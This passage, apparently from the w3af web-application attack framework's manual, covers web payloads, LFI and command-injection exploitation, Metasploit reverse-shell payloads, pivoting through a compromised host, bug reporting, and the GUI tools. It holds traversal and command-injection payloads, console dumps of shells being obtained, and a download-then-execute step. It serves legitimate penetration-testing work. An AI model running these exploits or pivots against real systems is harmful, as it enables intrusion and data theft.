percentage gives the intruder a direct way for executing operating system commands. And if we keep digging into
that group we’ll identify only one or two that under normal circumstances might give the intruder elevated privileges.
Keeping always in mind that the objective of the penetration tester is to gain a root shell in the remote server, Web
applications seem to offer more resistance than classic memory corruption exploits; which is true if you have a 0day
exploit developed within the Metasploit framework that matches the remote server installation, but if not... the Web
might be the only way in.
Until now, the exploitation of these vulnerabilities, and the steps needed to achieve access with a user of elevated
privileges had to be performed manually, which could in many situations take hours (depending on the web application
penetration tester’s skills) and may or may not achieve its objective.
Web Application Payloads are the evolution of old school system call payloads which are used in memory corruption
exploits since the 80’s. The basic problem solved by any payload is pretty simple: “I have access , what now?”. In
memory corruption exploits it’s pretty easy to perform arbitrary tasks because after successful exploitation the attacker
is able to control the remote CPU and memory, which allow for execution of arbitrary operating system calls. With
this power it’s possible to create a new user, run arbitrary commands or upload files.
In the Web Application field the situation is completely different, the intruder is restricted to the “system calls” that
the vulnerable Web Application script exposes. For example:
• Arbitrary File Read Vulnerabilities exposes read()
• OS Commanding Vulnerabilities exposes exec()
• SQL Injection Vulnerabilities exposes read(), write() and potentially exec()
Web Application Payloads are small pieces of code that are run in the intruder’s box, and then translated by the Web Application exploit to a combination of GET and POST requests to be sent to the
remote Web server.
For example, a call to the emulated syscall read() with /proc/self/environ
as a parameter would generate this request when it’s run through an arbitrary file read vulnerability:
http://host.tld/read.php?file=/proc/self/environ
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And
this
other
request
when
exploiting
an
OS
http://host.tld/os.php?cmd=;cat /proc/self/environ
Commanding
vulnerability
1.11.2 Running Web Application Payloads
The following is a console dump from w3af scanning a vulnerable application, exploiting a vulnerability and then
running the list_processes payload:
w3af>>> plugins
w3af/plugins>>> audit lfi
w3af/plugins>>> back
w3af>>> target
w3af/config:target>>> set target http://localhost/local_file_read.php?file=section.txt
w3af/config:target>>> back
w3af>>> start
Found 1 URLs and 1 different points of injection.
The list of URLs is:
- http://localhost/local_file_read.php
The list of fuzzable requests is:
- http://localhost/local_file_read.php | Method: GET | Parameters: (file="section.txt")
Starting lfi plugin execution.
Local File Inclusion was found at: "http://localhost/local_file_read.php", using HTTP method GET.
The sent data was: "file=../../../../../../../../etc/passwd".
This vulnerability was found in the request with id 3.
Finished scanning process.
w3af>>> exploit
w3af/exploit>>> exploit local_file_reader
local_file_reader exploit plugin is starting.
- [0] <shell object (rsystem: "*nix")>
Please use the interact command to interact with the shell objects.
w3af/exploit>>> interact 0
Execute "end_interaction" to get out of the remote shell. Commands typed in this menu will
run through the local_file_reader shell
w3af/exploit/local_file_reader-0>>> payload list_processes
...
PID
NAME
STATUS
CMD
1
init
S (sleeping)
/sbin/init
5183 mysqld S (sleeping)
/usr/sbin/mysqld
w3af/exploit/local_file_reader-0>>>
This shows how it’s possible to retrieve the full list of running process with a simple arbitrary file read vulnerability. Similar examples that are able to read the open TCP/IP connections, operating system IP route table, and much
more information are not shown for the sake of brevity.
The lsp command lists the available payloads, it’s important to notice that the list of payloads that can be run changes
based on the used exploit. For example, running lsp inside a remote file inclusion shell will most likely return a
list of all payloads, while running it inside a local file read shell will return the payloads that can be run when the
vulnerability exposes only the read() syscall.
1.11.3 Metasploit integration
There are a set of web application payloads which can be used to interact with the metasploit framework. When the
exploit provides the exec() syscall to the payloads, this allows the w3af user to upload metasploit payloads to the target
system and execute them to continue the post-exploitation process.
• msf_linux_x86_meterpreter_reverse
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• msf_windows_meterpreter_reverse_tcp
• msf_windows_vncinject_reverse
• metasploit
• Identify the vulnerability during a scan
• Exploit the vulnerability
• Run “payload <payload_name>”
1.11.4 Proxying traffic through the compromised host
Also implemented as a web application payload, this feature allows you to create a reverse tunnel that will route TCP
connections through the compromised server. Before going through an example to see how to use this feature, we will
make a summary of the steps that will happen during exploitation:
1. w3af finds a vulnerability that allows remote command execution
2. The user exploits the vulnerability and starts the w3af_agent
3. w3af performs an extrusion scan by sending a small executable to the remote server. This executable connects
back to w3af and allows the framework to identify outgoing firewall rules on the remote network.
4. w3af_agent manager will send a w3afAgentClient to the remote server. The process of uploading the file to the
remote server depends on the remote operating system, the privileges of the user running w3af and the local
operating system; but in most cases the following happens:
• w3af reuses the information from the first extrusion scan, which was performed in step 3 in order to know which
port it can use to listen for connections from the compromised server.
• If a TCP port is found to be allowed in the remote firewall, w3af will try to run a server on that port and make a
reverse connection from the compromised in order to download the PE/ELF generated file. If no TCP ports are
enabled, w3af will send the ELF/PE file to the remote server using several calls to the “echo” command, which
is rather slow, but should always work because it’s an in-band transfer method.
1. w3af_agent manager starts the w3afAgentServer that will bind on localhost:1080 (which will be used by the
w3af user) and on the interface configured in w3af ( misc-settings->interface ) on the port discovered during
step 3.
2. The w3afAgentClient connects back to the w3afAgentServer, successfully creating the tunnel
3. The user configures the proxy listening on localhost:1080 on his preferred software
4. When the program connects to the socks proxy, all outgoing connections are routed through the compromised
server
Now that we know the theory, let’s see an example of what this feature can do:
w3af>>> plugins
w3af/plugins>>> audit os_commanding
w3af/plugins>>> back
w3af>>> target
w3af/target>>> set target http://172.10.10.1/w3af/v.php?c=list
w3af/target>>> back
w3af>>> start
The list of found URLs is:
- http://172.10.10.1/w3af/v.php
Found 1 URLs and 1 different points of injection.
The list of Fuzzable requests is:
- http://172.10.10.1/w3af/v.php | Method: GET | Parameters: (c)
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Starting os_commanding plugin execution.
OS Commanding was found at: http://172.10.10.1/w3af/v.php . Using method: GET.
The data sent was: c=%2Fbin%2Fcat+%2Fetc%2Fpasswd The vulnerability was found in the request with id
w3af>>> exploit
os_commanding exploit plugin is starting.
Vulnerability successfully exploited. This is a list of available shells:
- [0] <os_commanding object (ruser: "www-data" | rsystem: "Linux brick 2.6.24-19-generic i686 GNU/Lin
Please use the interact command to interact with the shell objects.
w3af/exploit>>> interact 0
Execute "end_interaction" to get out of the remote shell.
Commands typed in this menu will run on the remote web server.
w3af/exploit/os_commanding-0>>>
Nothing really new until now, we configured w3af, started the scan and exploited the vulnerability.
w3af/exploit/os_commanding-0>>> payload w3af_agent
Usage: w3af_agent <your ip address>
w3af/exploit/os_commanding-0>>> payload w3af_agent 172.1.1.1
Please wait some seconds while w3af performs an extrusion scan.
The extrusion scan failed.
Error: The user running w3af can't sniff on the specified interface. Hints: Are you root?
Does this interface exist?
Using inbound port "8080" without knowing if the remote host will be able to connect back.
The last messages are printed when you run w3af as a normal user, the reason is simple, when you run w3af as a user
you can’t sniff and therefor can’t perform a successful extrusion scan. A successful extrusion scan would look like:
Please wait some seconds while w3af performs an extrusion scan.
ExtrusionServer listening on interface: eth1
Finished extrusion scan.
The remote host: "172.10.10.1" can connect to w3af with these ports:
- 25/TCP
- 80/TCP
- 53/TCP
- 1433/TCP
- 8080/TCP
- 53/UDP
- 69/UDP
- 139/UDP
- 1025/UDP
The following ports are not bound to a local process and can be used by w3af:
- 25/TCP
- 53/TCP
- 1433/TCP
- 8080/TCP
Selecting port "8080/TCP" for inbound connections from the compromised server to w3af.
In both cases (superuser and user), these should be the following steps:
Starting w3afAgentClient upload.
Finished w3afAgentClient upload.
Please wait 30 seconds for w3afAgentClient execution.
w3afAgent service is up and running.
You may start using the w3afAgent that is listening on port 1080. All connections made
through this SOCKS daemon will be relayed using the compromised server.
And now, from another console we can use a socksClient to route connections through the compromised server:
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$ nc 172.10.10.1 22
(UNKNOWN) [172.10.10.1] 22 (ssh) : Connection refused
$ python socks_client.py 127.0.0.1 22
SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1
Protocol mismatch.
Where the socks_client.py code looks like:
import extlib.socksipy.socks as socks
import sys
s = socks.socksocket()
s.setproxy(socks.PROXY_TYPE_SOCKS4,"localhost")
s.connect((sys.argv[1],int(sys.argv[2])))
s.send('\n')
print s.recv(1024)
1.12 Bug reporting
The framework is under continuous development and we might introduce bugs and regressions while trying to implement new features. We use continuous integration and heavy unit and integration testing to avoid most of these but
some simply reach to our users (doh!)
1.12.1 Good bug reporting practices
If you’re using the latest version of the framework and find a bug, please report it including the following information:
• Detailed steps to reproduce it
• Expected and obtained output
• Python traceback (if exists)
• Output of the ./w3af_console --version command
• Log file with verbose set to True (see below)
When reporting installation bugs and issues that might relate to your environment, it is a good idea to include detailed
system information.
user@box:~/w3af$ wget http://goo.gl/eXpPDl
user@box:~/w3af$ chmod +x collect-sysinfo.py
user@box:~/w3af$ ./collect-sysinfo.py
This will generate a file called /tmp/w3af-sysinfo.txt which you may include in your bug report.
Making sure you’re on the latest version
w3af is usually installed in two different ways by our users:
• apt-get install w3af (or similar)
• git clone git@github.com:andresriancho/w3af.git
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Installing using the Operating System package manager is the easiest way, but will usually install an old version of the
software that won’t be able to update.rst. For reporting bugs we recommend you install the latest w3af from our
repository.
Cloning from the git repository into a directory in your home is the recommended way and will allow auto-updates
which guarantee you’re always using the latest and greatest.
Getting the specific w3af version is easy using the --version command line argument:
user@box:~/w3af$ ./w3af_console --version
w3af - Web Application Attack and Audit Framework
Version: 1.5
Revision: 4d66c2040d - 17 Mar 2014 21:17
Branch: master
Local changes: Yes
Author: Andres Riancho and the w3af team.
user@box:~/w3af$
The output of the command is simple to understand, but lets go through it just in case:
• Version:
1.5: The w3af version number
• Revision: 4d66c2040d - 17 Mar 2014 21:17: If this line is present you’ve installed w3af by
cloning from our repository. 4d66c2040d is the SHA1 ID of the latest git commit your system knows about.
• Branch: master: The git branch your installation is running from. In most cases this should be one of
master or develop.
• Local changes:
Yes: Indicates if you’ve manually modified w3af‘s source code
Just to make sure you’re on the latest version run git pull inside the w3af directory making sure that Already
up-to-date. appears:
user@box:~/w3af$ git pull
Already up-to-date.
Now you’re ready to report a bug!
1.12.2 Basic debugging
When you want to know what the framework is doing the best way is to enable the text_file output plugin, making
sure that the verbose configuration setting set to true. This will generate a very detailed output file which can be
used to gain an insight on w3af‘s internals.
plugins
output text_file
output config text_file
set verbose True
back
1.12.3 False negatives
If w3af is failing to identify a vulnerability which you manually verified please make sure that:
• The audit plugin that identifies that vulnerability is enabled
• Using basic debugging, make sure that w3af finds the URL and parameter associated with the vulnerability. If
you don’t see that in the log, make sure the crawl.web_spider plugin is enabled.
False negatives should be reported just like bugs , including all the same information.
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1.12.4 False positives
Nobody likes false positives, you go from the adrenaline of “The site is vulnerable to SQL injection!” to “Nope, false
positive” in less than a minute. Not good for your heart.
Please report the false positives like bugs , in our repository. Include as much information as possible, remember that
we’ll have to verify the false positive, write a unittest and then fix it.
1.12.5 Common problems
After many years of w3af development we’ve found some common problems that, while not a bug, annoy our users
and are common enough to include in this section.
1.12.6 Outdated profiles
One of those issues appears when the user migrates from an old w3af version to a new one, and the profiles stored in
the user directory are incompatible with the latest version. w3af will try to open the old profile and fail, users will see
something like:
The error is self explanatory: “The profile you are trying to load is outdated”, but lacks some “quick actions” that the
user can perform to avoid seeing this error. If you don’t care about the old profiles just:
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user@box:~/$ rm -rf ~/.w3af/profiles/
The next time w3af is run, it will copy the default profiles to the user’s home directory.
For users that really care about the profiles which are in the old version, I recommend you migrate them manually
using these steps:
• Backup your profiles
• Remove them from the home directory (~/.w3af/profiles/ )
• Open the profile to migrate using a text editor
• Open w3af and create a new plugin
• Save the newly created plugin
1.13 Contribute
Contributions of any type are always welcome, over the past years we’ve received thousands of emails with feedback, comments about new techniques to implement, new pieces of code, usability improvements, translations of our
documentation and many others.
Simply send an email to the w3af develop mailing list to let us know how you want to help, your interests, etc. and
I’m sure something exciting will come up.
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CHAPTER 2
GUI documentation
2.1 GUI Introduction
This documentation section is a user guide for the Graphical User Interface for Web Application Attack and Audit
Framework (w3af), its goal is to provide a basic overview of how to use the application, how it works, and what you
can do with it.
We recommend you read through the w3af users guide before diving into this GUI-specific section.
2.1.1 Contents
General structure
In this section the general structure of the w3af graphical user interface is explained. The following is the main
window, the first image that you’ll see from the system after it’s completely loaded (during the load you’ll see a splash
image that gives you information about how the system is loading):
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In the image you can see different sections. On top, as usual there’s the menu [1] and the toolbar [2]. The body of the
window is separated in different notebook tabs [3]. At the bottom of the window you have the the toolbar [4] and an
indicator about the found elements [5]. In the notebook tab that you can see at the program beginning, there are three
vertical panes: the profiles [6], the plugin selector [7], and the plugin configuration area [8] (where so far you see the
w3af icon because you didn’t select any plugin yet). Above them you also have the target URL [9].
The toolbar
The toolbar is separated in different functional groupings. The first button opens the Point and Click Penetration Test,
that is a Wizard that allows you to create profiles in an easy way, without having specific security related knowledge.
The second and third buttons, New and Save, operate on the Profiles. New will create a new Profile, and for this the
system will ask you the profile name and a description, be creative! If you change a profile, you also can save the
modifications it to disk, using the second button.
The third and fourth buttons, Play and Pause, control the state of the working Core. These buttons are mutable, as
change over time, look the next section (Running the scan) for a deeper explanation of how these buttons behave.
The sixth button is to trigger Multiple Exploits. It will be enabled only in the Exploits window, check that part of the
documentation for a more detailed information about this.
The rest of the buttons are to open and use different tools. Check the Tools section of the documentation for an
explanation of the different tools.
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Finally, at the very right, there’s a throbber that shows when the Core is working or not.
Scanning
In this section is explained the different steps to configure, start and supervise a security scanning over a web site.
Configuring the scan
To scan the web sites in different ways there are different plugins that can be configured in different ways.
In the second column of the main window you can select which plugins to configure. This plugins are separated in
two big sections, as you can see in the following picture.
The first section has all the scan plugins, in the upper part of the column [1]. There you have the different plugins
grouped regarding the scan type. They are separated in:
• audit
• bruteforce
• crawl
• infrastructure
• evasion
• grep
• mangle
• output
In the lower part of the column [2] there are the output plugins. Note that you can enable here the console plugin to
see all the information in the standard output, and also have plugins to send all that information to a file in different
formats.
If you select on any plugin you will see in the right pane [3] some information of that plugin. If that plugin is
configurable (something that you can know in advance, because the plugin has an editable icon in the plugin trees [1]
& [2].
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To configure the plugin, just select it, and modify the options that appears on in the right pane [3]. Note that you need
to Save the configuration to use it. You can see easily if any plugin is modified and not saved because its name will be
in bold font.
Even if you configure a plugin, to actually use it during a scan, you need to check it. You have, at the right of each
plugin, a check box that you need to select to use that plugin during the scan. If you click on the group check box, all
the plugins in that group will be selected and deselected. If some plugins in that group are selected, and others are not,
you’ll see the group’s check box in an intermediary state (as you can see in [2] for output).
If you make right-click over a plugin (or select Edit Plugin in the Edit menu), a text editor will open and you’ll be able
to actually edit the plugin source code.
To finish configuration the scan, you need to insert a target URL in the upper text entry. When everything is ready to
run, you will note that the Play buttons are automatically enabled.
Using the profiles
In the profiles you can save different configurations. You can think a Profile as the collection of configured plugins
and target URL. In the column of the left [1] you can see which plugins do you have:
In this example, I selected a test plugin. In the moment I select it, the plugins and the target URL are all reconfigured
[2]. Also, in the pane at the right, you can see a description of that plugin [3].
See, as now we have all the information needed to start the scan, that the Start buttons [4] are enabled. Note, however,
that is possible that in the profile there was no saved URL, so the target URL will remain empty (you’ll find it with a
“Insert the target URL here” message). In the Profiles menu,or doing right-click over any profile, you can see different
actions that you can apply over the plugins:
• Save: Save the actual configuration to the profile. This will be enabled only if you changed some of the profile
configuration.
• Save as: Save configuration a new profile, without affecting the one selected so far. If you click on this option,
you will need to enter a new profile name and description.
• Revert: Discard the actual configuration and reload the one that is saved in the profile.
• Delete: Delete this profile
To create a new profile, you have the New button in the toolbar, and also the New option in the Profiles menu. To
create a new profile, you will need to enter a name and descriptions. After creating the new profile, you’ll be able to
configure to your needs. Remember that you can always create a new profile using the Point and Click Penetration test
tool, with the Wizard button at the toolbar’s left.
Running the scan
To actually run the scan some conditions need to be met: at least one plugin needs to be activated, and a target URL
must be set. You’ll notice that everything is OK to go, because the Start button will be enabled.
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The whole scan process is controlled with two buttons that you can find in the toolbar. The first button is the Start one.
When you click on it, the scan will start running, and you will see the throbber spinning. After the process starts, it can
be stopped anytime, or you can let it go until the end, and it will finish automatically. To stop the process you can use
the same button, note that it mutated and now it is called Stop: if you click on it you will see that it gets disabled, and
there’s some delay until the process is effectively stopped, you can check it because the throbber stopped spinning.
When the scan is stopped, you can study the results all that you want, but if you want to start another scan you will
need to clear the current results and start over. For this, you’ll use again the same button as before, but note that it is
called Clear now.
The second button to control the process is the Pause one. It will be enabled only when the process is running, and if
you click on it, it will be pressed down (and the process paused) until you click on it again. Note that if you pause the
process you can not cancel it until you restart it.
When the scanning process is started, the system will switch automatically to the Log tab. In this tab you can see how
the scan evolves through the different indicators.
This tab has two main sections. In the upper part you have the logging text, where you can see all the information
generated by the system. In the principal section of that part [1] you can see all the messages generated by the system,
from the first one to the last generated. As this log is normally a large quantity of text, you can enable and disable
the different type of messages, using the checkboxes in the log bar [4]. Note that these different types have different
colors in the text itself. In the same bar you have a Search button, which enables the search functionality (explained in
detail below).
Also, below that messages you can see exactly what the system is currently doing, through a single line message [2].
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In the lower part of the window you can see a graph that represents what is going on with the scanning process in a
visual way. In the x axis you can see the time (automatically rescaled), and in the y axis you can find three indicators: a
grey bar which height indicates the quantity of debug messages at that time, a blue dot if there’re information messages,
and a vertical red bar with the quantity of vulnerabilities found there.
All this information is updated in real time. For a better visual following of the process, you also have, at the right
of the toolbar, three indicators showing the quantity of information items found, of vulnerabilities found, and the
shell which were successfully exploited (you’ll find more information about this Shells in the Exploit section of this
document).
Sometimes the log information is too much, even if you can separate it in the different message types, so there’s a
search functionality to help you. You can open the search bar using the previously mentioned button, or pressing
CTRL-F when the log text window is in focus.
When the search bar opens, you’ll see a text entry where you can write what you want to find, a Next and Previous
buttons, and a Match case checkbox:
The system will find what you write in the text entry in real time, taking the letter case in consideration if the Match
case checkbox is selected. If the inserted text doesn’t match with anything in the whole text, the entry background will
turn red.
Also in real time the matching text will be highlighted in yellow. If you hit the Next or Previous buttons, the system
will walk the matching texts.
Analyzing results
You can explore and analyze the scanning results after the scan process is completed (or before it’s finished, because
the system let’s you work concurrently with that process). In this section I’ll explain the different windows you have
to work with the results.
There’s a complete tab for results in w3af, and as there’re a lot of information to analyze, this tab is also divided in
tabs, as you can check the Knowledge Base, see the site structure, or navigate through the individual requests and
responses.
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Browsing the Knowledge Base
The Knowledge Base is a collection of discovered items, that can be classified in Vulnerabilities, Informations, and
other stuff. The KB Browser tab lets you dive into this information.
In the left part of the window [1] you’ll find the information of the Knowledge Base. By default it only shows you
the vulnerabilities and informations, but you can enable also the miscellaneous stuff or hide any of them, using the
checkboxes above the info [2].
The information is grouped in a tree way, but you have different nodes to expand. If you select one of the items, and
that item corresponds to a HTTP request originated by the scanning, you will see in the right part of the window all
the information about that request and its response (more info about this below).
The items in the tree has a color that indicates the severity of the issue: black for informations, orange for low-severity
vulnerabilities, and red for medium or high severity ones. As they’re in a tree structure, each node in the tree will have
the color of the more severe of its children.
As said above, when you click on a tree node that actually is generated by a HTTP request, you can see in the left part
of the window information about this request and its response. This part is separated in different panes.
Above everything [3] you have general information about when the request was found (actually, this is the same line
that you can find in the logs regarding this request). Below that info you have the request headers [4], the request body
[5], the response headers [6], and the response body [7].
At the bottom [8] you have some buttons that will enable you to make some actions with the request and response.
With the buttons at the left you can send the HTTP Request to the Manual and Fuzzy Request tools. With the button
at the right you can send everything to the Compare tool. These buttons refer to the same tools that have the same icon
in the toolbar, but actually send the shown information to that tools, which is very handy.
This structure, the HTTP request and response with both panes each, and the buttons to use that information with other
tools, is repeated all over the program interface, so it’s good to get used to it.
Site structure
The URLs tab shows the structure of the site that the system worked on. It’s separated In two parts, but both parts
show actually the same information, although they show it in different ways.
At the left [1] you can see the site structure in the old fashion way: with a tree-like list of nodes.
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At the right [2] you have the same information but graphically. Above the drawing [3] you have different buttons that
help you to see the graph better: zoom in, zoom out, fit all the graph in the window, and show the graph in the original
size.
Requests and responses
In this window you will be able to search for any request (and the associated response) that the system had generated
during the scanning.
In the upper text entry [1] you can insert a query to search the knowledge database for requests and responses. You
have a flexible syntax to build your query, for details about the syntax, click on the Help button on the right, and a
similar window to the one shown here will be presented to you.
After you enter the query, and hit the Find button, the system will retrieve all the requests and responses that match,
and will present them to you in the results list [2]. If you click on any of those results, you’ll see the request and
response details [3].
As usual when seeing requests and responses, you’ll have the tool buttons [4] to use these data in the already familiar
tools.
Exploitation
In this section I’ll explain you how to exploit the found vulnerabilities.
When the scan is running or after the scan finished running, as you can check the results, you also can start with the
exploitation. For this, go to the fourth tab in the system, called Exploit:
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This window is separated in different panes. At the very left [1] you have a list of all the exploits that you can execute
over the vulnerabilities that you found, which are listed in the second column [2]. You can see there that we found
three vulnerabilities, as you can also check in the left bottom corner of the window [3].
At the right part of the window, there’re two panes: one [4] for the exploited shells (more on this below), and one [5]
for the proxies (this functionality is not yet developed).
Finally, you can see that when you enter to this tab, the Multiple Exploit button in the toolbar [6] is enabled.
Executing an exploit
Exploits act on vulnerabilities. But not all exploits act on every vulnerabilities. It is well known if any exploit could
act on some vulnerability, though, but to be sure and actually exploit it some verification needs to be done. Fortunately,
the system easies very much this process to you.
To exploit a vulnerability, you need to drag the exploit and drop it on the vulnerability you want to exploit. This drag
& drop process is all you need to activate one specific exploit; if you want multiple exploiting see below. But, as all
exploits don’t act on all vulnerabilities, how do you know what to drag and drop where?
When you click on any exploit, the system will put in bold font those vulnerabilities that could be exploited by that
exploit [1]. This works also in the other way: if you click on any vulnerability, the system will put in bold those
exploits that could act on that vulnerability [2]. I put emphasis on the “could”, because there’s no certainty that the
match will be useful... but for sure, if you trigger an exploit over a vulnerability that don’t have both fonts in bold, it
will not act.
On the other hand, if you actually drag a marked exploit on a marked vulnerability, the system will try to exploit it.
A new window will pop up [3], showing the actions that the system is taken. See in the example that the system first
checks the suitability of that exploit over that vulnerability, and if OK, it actually triggers the exploit.
In the example, everything is fine and the exploit succeeds, creating a shell in the shell window [4].
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If you want to trigger more than one exploit at once, you should click on the Multiple Exploit button in the toolbar, and
a window like the one here at the right will appear. There you can select all the exploits that you want to trigger, and
when you click on the Execute button, the system will try all the marked exploits on all the possible vulnerabilities.
If you activate the First successful checkbox, the system will stop after the first time that an exploit succeeds when
working on any vulnerability.
Using a shell
If the vulnerability generates a Shell as the result of being exploited, you will see the shell (or shells if it generates
more than one) appear in a pane of this window, as we saw above.
If you double click on that shell, you will start using it, and a new window will pop up for you to use it, a window very
similar to the one you see here at the right.
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There you can see that you have a shell like environment. Well, it is exactly that: it is the shell opened in the remote
equipment as a result of the exploited vulnerability.
Also, you have a Save button that let you save all the session to a file, in the case you want to keep all the text for a
later analysis.
Tools
Apart from the w3af core functionality, that is to scan for vulnerabilities and exploit them, there are other tools that
help you in the day by day work.
Manual Requests
This tool lets you write and send HTTP requests.
When opening the tool you will find the typical four panes window for HTTP requests and responses. In this case
you’ll find only active the request part [1], filled with an example request (if you opened this tool from the toolbar) or
with a request that you may brought from another part of the program (using the small button under other requests, as
is explained above).
You can edit the request, not only the headers part but also the body of the HTTP request, and when ready, click on
the Send button [2] to issue that manually crafted request. Note that you can check the Fix length header button if you
want the system to correct the Length header in the request that is sending (which lets you modify the request without
fixing that header every time).
The system will issue the request and put the response (headers and body) in the right part [4].
Also you have the normal send data to tools buttons in the usual places [5].
Fuzzy Requests
This tool lets you create multiple HTTP requests in an easy and controllable way.
The part of building the HTTP request is pretty similar to the manual request, as you have also panes for the headers
and the body [1], but using a special syntax you can create what is called a Fuzzy Request, which is actually a request
that is expanded to multiple ones. You have a quick helper for this syntax in that very window [2], but here it is
explained in detail.
When you create a request, all the text is sent as is to the destination, except those that are inside two dollar signs $.
This text is used by the system to create a text generator, that it will consumed creating the multiple requests (they’re
called fuzzy generators). If you don’t put any double dollar signs, it will be exactly the same as if you used the Manual
Request tool. If you actually want to include a dollar sign in the request, just use \$.
But if you put a text between two dollar signs that generates three items, you will actually creating three requests, and
you will get three responses at the right. You can put as many fuzzy generators as you want, and the system will create
multiple requests using all the possible combinations. So, if you keep the first generator (that generated three items),
and insert a new one that generates, say, five items, the system will create fifteen requests (3 x 5 = 15).
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The system will generate the different items using the text between the dollar signs as a Python statement, using
directly eval(), with an almost clean namespace (there’s only the already imported string module). There’s no
security mechanism in this evaluation, but there’s no risks as the evaluated text is only between the dollar signs, and
you’re responsible about that. Using this evaluation, for example, you could do:
• Numbers from 0 to 4: $range(5)$
• First ten letters: $string.lowercase[:10]$
• The words spam and eggs: $[’spam’, ’eggs’]$
• The content of a file: $[l.strip() for l in file(’input.txt’)]$
You can actually check how many request the system will generate, using the Analyze button [3]. Just clicking on it
the indicator at its right will be updated to this value. Also, if you check the Preview checkbox [4], the system will
generate the different requests, and will show you them in a new pop up window.
When you’re ready to actually send the generated requests, you can use the Play and Stop buttons [5], which will let
you start, stop, and even pause the generated requests of being sent (the Play button will mutate to a Pause one when
the system is sending the requests). Also, another indicator that the system is working is the throbber [6].
The system will show all the responses (even as they’re being generated) in the classic four pane arrangement [7]:
the request that was actually sent (not the fuzzy request, but one of the generated ones, with the text between the $
replaced), and the response to that specific request. Of course, the system will not show you all the requests at once,
but you have a control [8] that lets you see any of the generated request/response (using the arrows, or you’re even
able to just enter the number that you want to see).
Beyond the standard tool buttons [9] to send the request and/or response to the Manual Request tool or the Compare
tool, you have a Clear Responses button [A] that will erase all the results, and a Cluster Responses one [B] that will
send all the responses to the Cluster tool (note that this tool is only accessible through here, as it only has sense to use
it from multiple generated responses).
The Cluster Responses tool lets you analyze all the responses seeing graphically how different they’re between themselves. The graph will show you the responses, and the distance between them, grouping for a better analysis.
Also you have different buttons that help you to see the graph better: zoom in, zoom out, fit all the graph in the window,
and show the graph in the original size.
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Encode and Decode
This tool allows you to apply a lot of encoding and decoding functions in the text that you want.
You have two panes where you can insert the text you want; put the text to Encode in the upper pane [1], and when
encoded it will appear in the lower pane [2], and viceversa: to decode something put the text in the lower pane and
after decoding it will appear in the upper pane.
To apply an encode, choose it from the encoding functions [3], and click on the Encode button. To apply a decode,
choose it from the decoding functions [4], and click on the Decode button.
You have the following encoding and decoding functions:
• 0xFFFF Encoding: 0x encoding method
• Base64 Encode / Decode: Encode and decode using Base64
• Double Nibble Hex Encoding: This is based on the standard hex encoding method. Each hexadecimal nibble
value is encoded using the standard hex encoding
• Double Percent Hex Encoding: This is based on the normal method of hex encoding. The percent is encoded
using hex encoding followed by the hexadecimal byte value to be encoded
• Double URL Encode / Decode: Encode and decode doing Double URL Encode
• First Nibble Hex Encoding: This is very similar to double nibble hex encoding. The difference is that only the
first nibble is encoded
• HTML Escape / Unescape: Encode and decode doing HTML escaping
• Hex Encoding / Decoding: This is one of the RFC compliant ways for encoding a URL. It is also the simplest
method of encoding a URL. The encoding method consists of escaping a hexadecimal byte value for the encoded
character with a %
• MD5 Hash: Encode using MD5
• MS SQL Encode: Convert the text to a CHAR-like MS SQL command
• Microsoft %U Encoding: This presents a different way to encode Unicode code point values up to 65535 (or
two bytes). The format is simple; %U precedes 4 hexadecimal nibble values that represent the Unicode code
point value
• MySQL Encode: Convert the text to a CHAR-like MySQL command
• Random Lowercase: Change random chars of the string to lower case
• Random Uppercase: Change random chars of the string to upper case
• SHA1 Hash: Encode using SHA1
• Second Nibble Hex Encoding: This is very similar to double nibble hex encoding. The difference is that only
the second nibble is encoded
• URL Encode / Decode: Encode and decode doing URL Encode
• UTF-8 Barebyte Encoding: Just a normal UTF-8 encoding
• UTF-8 Encoding: Just that. Note that the hexadecimal values are shown with a %
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Comparing HTTP traffic
With this tool you will be able to compare different requests and responses.
The Comparator window is separated mainly in two panes: both request and responses that you’re comparing. In
this tool all the information is concatenated in the same text, to ease the comparison, but you have four buttons [1] to
control which part of the information appear in the text: request headers, request body, response headers, and response
body.
The comparison itself is done between the request/response at the left [2], and whatever request/response you have
at the right [3]. This tool is prepared to handle more than two requests/responses: you always will have one request/response at the left, and all the requests/responses that you added at the right. To see exactly what you’re
comparing, the system shows you each id [4].
You have a control [5] to select which of the requests/responses that you added will compare to the one at the right. If
you want to change the request/response that is at the left (the one that you compare to), you can set it using the Set
text to compare button [6]. You can delete any of the requests/responses at the right using the Delete button [7], or
delete them all with the Clear All one [8].
The requests can also sent from this tool to the Manual Requests or Fuzzy Requests ones, using the buttons above the
texts [9]. There’s also a button [A] to send all the responses at the right to the Cluster Responses tool.
Using the Proxy
This tool is a proxy that listen to a port in the machine you’re running the w3af program. You can configure any
program that issues HTTP request (like your internet browser, for example) to use this proxy.
When this other program issues the request, the proxy captures it and shows it to you [1]. You can choose to drop this
request, using the Drop button [2], or let the request continue. If you choose the latter, you can edit the request as you
want, and then click on the Send button [3].
So the system will send the request, and catch the response when arrives, and will show it to you at the right pane [4].
After analyzing the response, you can click on the Next button [5], and the system will pass the response to the other
program, and prepare itself to catch the next HTTP request.
As usual when working with HTTP requests and responses you have some buttons [6] to send that information to
other tools. Also you have a History pane [7] that let you search on all the requests and responses (for help about this
window, check chapter 4.3 on this documentation, as it’s the very same interface).
In the toolbar [8] of this window you have a Activate button that controls if the proxy is activated or not, a Trap Request
button that will determine if the proxy is letting the request pass through without the procedure explained above, and
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a Configuration button (see chapter 7.4 for help about this configuration).
Note: See /ca-config for details about how to configure w3af‘s certificate authority (CA) in your browser.
Wizards
The wizard is a collection of easy questions that you need to answer, and using all this information, the system will
generate a Profile for you. Easy as that.
When you click on the Wizard button in the toolbar, or choose the same option in the Help menu, a new pop up window
will appear.
This first window will just let you choose which Wizard you want to run. Choose one, and click on the Run the wizard
button.
After this initial window, you’ll be presented all the questions that need to answer to feed the wizard. In each window
you’ll have a description of the needed information, one or more questions or fields to fill, and the Back and Next
buttons.
You can go back and forward through all the wizard, but at the very end you’ll want the Wizard to execute its magic,
and generate the profile for you. For this, in the last window you’ll have two fields: the name and the description of
the new profile. Fill them, click on the Save button, and that’s all: you have a new profile in the system.
Configurations
There are different configuration panels all across the w3af system. Here all of them are explained.
HTTP configuration
This section is used to configure URL settings that affect the core and all plugins.
Miscellaneous configuration
This section is used to configure misc settings that affect the core and all plugins.
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Advanced target configuration
This section is used to provide detailed information about the target system.
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CHAPTER 3
REST API documentation
3.1 REST API Introduction
This documentation section is a user guide for w3af’s REST API service, its goal is to provide developers the knowledge to consume w3af as a service using any development language.
